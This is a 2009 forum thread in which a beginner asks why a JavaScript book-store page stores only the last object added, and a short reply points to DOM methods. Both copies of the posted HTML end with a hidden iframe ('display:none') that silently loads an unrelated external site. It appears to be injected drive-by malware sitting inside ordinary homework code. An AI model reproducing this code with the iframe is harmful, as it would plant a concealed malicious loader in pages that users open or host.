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help with array of objects in javascript

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help with array of objects in javascript

Apr 20th, 2009

please help with this program it outputs and stores the last data added into the array(replaces all other data with the last data that was stored in the array).

 Help with Code Tags 
 JavaScript / DHTML / AJAX Syntax (Toggle Plain Text) 
<html>
<head>
<script language="javascript">
 
function Book()
{
 
this.title="not yet selected";
this.isb=""
this.copies=0;
this.price=0.00;
 
}
 
var obj=new Book();
 
function begining()
 
{
 
//alert("the problem start");
var d=new Date()
 
status=d.getHours()+":"+d.getMinutes();
}
 
var aray=new Array()
 
var n=0;
function add()
{
 
obj.title=document.f1.t.value;
alert(obj.title);
obj.isb=document.f1.i.value
alert(obj.isb);
obj.copies=parseInt(document.f1.c.value);
alert(obj.copies);
obj.price=parseFloat(document.f1.p.value);
alert(obj.price);
aray[aray.length]=obj;
 
if(n==0)
{
document.f2.sel.length=0;
}
 
var op=new Option(obj.title,obj.title,false,false);
document.f2.sel.options[document.f2.sel.length]=op;
 
n++;
}
 
function clearall()
{
document.f1.t.value="";
document.f1.i.value="";
document.f1.c.value="";
document.f1.p.value="";
}
 
function Remove()
{
var index=document.f2.sel.selectedIndex;
if(aray[index].copies==0)
{
document.f2.sel.options[index]=null;
}
}
 
function checkdata()
{
for(var b=0;b<aray.length;b++)
{
 alert(aray[b].title);
alert(aray[b].isb);
alert(aray[b].copies);
alert(aray[b].price);
}
}
 
</script>
</head>
 
<body bgcolor="silver" onload="setInterval('begining()',1000)">
 
<table width="100%" height="100%" border="7" cellspacing="3">
<tr><td>
<h1><i>BOOK STORE</H1></I>
<img src="e.jpg" />
 
<form name="f1">
 
TITTLE<input type="text" value="" name="t"/><br>
 
ISBN#<input type="text" value="" name="i"/><br>
 
COPIES AVAILABLE<input type="text" value="" name="c"/><br>
 
SELLING PRICE<input type="text" value="" name="p"/><br>
 
<input type="button" value=" Add Book" name="ad" onclick="add()" />
 
<input type="button" value="Clear All" name="oth" onclick="clearall()" />
<br><br>
 
</form>
 
</td><td>
 
<H1>OTHER</H1>
 
<img src="iron man.jpg" height="70%" />
 
<form name="f2" >
 
<select name="sel">
 
<option value="" >opt1</option>
 
</select><BR>
 
<input type="button" value="Remove Book" name="sp"onclick="Remove()" />
<input type="button" value="aSort" name="sp" />
<input type="button" value="elements" name="el" onclick="checkdata()"/>
</form>
</td></tr>
</table>
 
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>
<html>
<head>
<script language="javascript">

function Book()
{

this.title="not yet selected";
this.isb=""
this.copies=0;
this.price=0.00;

}

var obj=new Book();

function begining()

{

//alert("the problem start");
var d=new Date()

status=d.getHours()+":"+d.getMinutes();
}

var aray=new Array()

var n=0;
function add()
{

obj.title=document.f1.t.value;
alert(obj.title);
obj.isb=document.f1.i.value
alert(obj.isb);
obj.copies=parseInt(document.f1.c.value);
alert(obj.copies);
obj.price=parseFloat(document.f1.p.value);
alert(obj.price);
aray[aray.length]=obj;

if(n==0)
{
document.f2.sel.length=0;
}

var op=new Option(obj.title,obj.title,false,false);
document.f2.sel.options[document.f2.sel.length]=op;

n++;
}

function clearall()
{
document.f1.t.value="";
document.f1.i.value="";
document.f1.c.value="";
document.f1.p.value="";
}

function Remove()
{
var index=document.f2.sel.selectedIndex;
if(aray[index].copies==0)
{
document.f2.sel.options[index]=null;
}
}

function checkdata()
{
for(var b=0;b<aray.length;b++)
{
 alert(aray[b].title);
alert(aray[b].isb);
alert(aray[b].copies);
alert(aray[b].price);
}
}

</script>
</head>

<body bgcolor="silver" onload="setInterval('begining()',1000)">

<table width="100%" height="100%" border="7" cellspacing="3">
<tr><td>
<h1><i>BOOK STORE</H1></I>
<img src="e.jpg" />

<form name="f1">

TITTLE<input type="text" value="" name="t"/><br>

ISBN#<input type="text" value="" name="i"/><br>

COPIES AVAILABLE<input type="text" value="" name="c"/><br>

SELLING PRICE<input type="text" value="" name="p"/><br>

<input type="button" value=" Add Book" name="ad" onclick="add()" />

<input type="button" value="Clear All" name="oth" onclick="clearall()" />
<br><br>

</form>

</td><td>

<H1>OTHER</H1>

<img src="iron man.jpg" height="70%" />

<form name="f2" >

<select name="sel">

<option value="" >opt1</option>

</select><BR>

<input type="button" value="Remove Book" name="sp"onclick="Remove()" />
<input type="button" value="aSort" name="sp" />
<input type="button" value="elements" name="el" onclick="checkdata()"/>
</form>
</td></tr>
</table>

<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>

Last edited by Ezzaral; Apr 20th, 2009 at 1:00 pm. Reason: Added [code] [/code] tags. Please use them to format any code that you post.

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Join Date: Apr 2009

Posts: 838

Reputation: Airshow is on a distinguished road

Solved Threads: 120

Airshow

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Re: help with array of objects in javascript

Apr 20th, 2009

To address/create document elements in your intended way, you need to learn Javascript DOM methods, in particular:

$document.getElementById();$
$document.createElement();$
$element.appendChild();$

http://www.w3schools.com is a good place to start.

Airshow

Last edited by Airshow; Apr 20th, 2009 at 9:13 pm. Reason: Added code tags